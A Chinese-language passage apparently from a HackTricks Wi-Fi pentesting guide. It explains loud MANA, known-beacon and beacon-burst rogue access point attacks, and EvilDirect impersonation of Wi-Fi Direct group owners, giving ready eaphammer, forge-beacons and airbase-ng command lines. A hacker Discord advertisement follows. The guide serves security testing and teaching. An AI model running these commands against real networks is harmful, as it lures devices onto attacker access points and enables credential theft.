总结来说响亮的MANA攻击不是对每个特定设备的PNL中的探测请求用每个ESSID进行响应而是恶意AP对它之前见过的所有设备的每个PNL中的每个ESSID发送探测响应。将这与集合论联系起来我们可以说AP对附近所有设备的所有PNL的并集中的每个ESSID发送探测响应。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

已知信标攻击

在某些情况下Loud MANA 攻击可能不会成功。
已知信标攻击是一种“暴力破解”ESSID的方法目的是让受害者连接到攻击者的AP。攻击者创建一个对任何ESSID都会响应的AP并运行一些代码发送伪造的ESSID信标这些ESSID来自于一个词表。希望受害者的PNL中包含了一些这些ESSID名称并会尝试连接到伪造的AP。
Eaphammer 实现了这种攻击作为MANA攻击的一部分列表中的所有ESSID都会被加载你也可以结合使用 --loud 来创建 Loud MANA + 已知信标攻击):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知信标突发攻击

众所周知信标是显眼的。您可以使用Eaphammer项目中的脚本来快速启动文件中每个ESSID名称的信标。如果您将此脚本与Eaphammer MANA攻击结合使用客户端将能够连接到您的AP。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct是一种Wi-Fi标准允许设备在没有无线AP的情况下相互连接其中一个设备将充当AP称为群组所有者。你可以在许多IoT设备中找到Wi-Fi Direct如打印机、电视等。

Wi-Fi Direct依赖于Wi-Fi Protected SetupWPS来安全地连接设备。WPS有多种配置方法按键配置PBCPIN输入近场通信NFC

因此如果使用PIN之前看到的对WPS PIN的攻击在这里也同样有效。

EvilDirect劫持

这类似于Evil-Twin但用于Wi-Fi Direct你可以冒充群组所有者尝试让其他设备如手机连接到你airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0

参考资料

TODO: 查看 https://github.com/wifiphisher/wifiphisherfacebook登录和WPA在captive portals中的模仿

加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
深入探讨黑客的刺激和挑战

实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界

最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新

加入我们的 Discord 并开始与顶尖黑客合作!

从零开始学习AWS黑客攻击成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式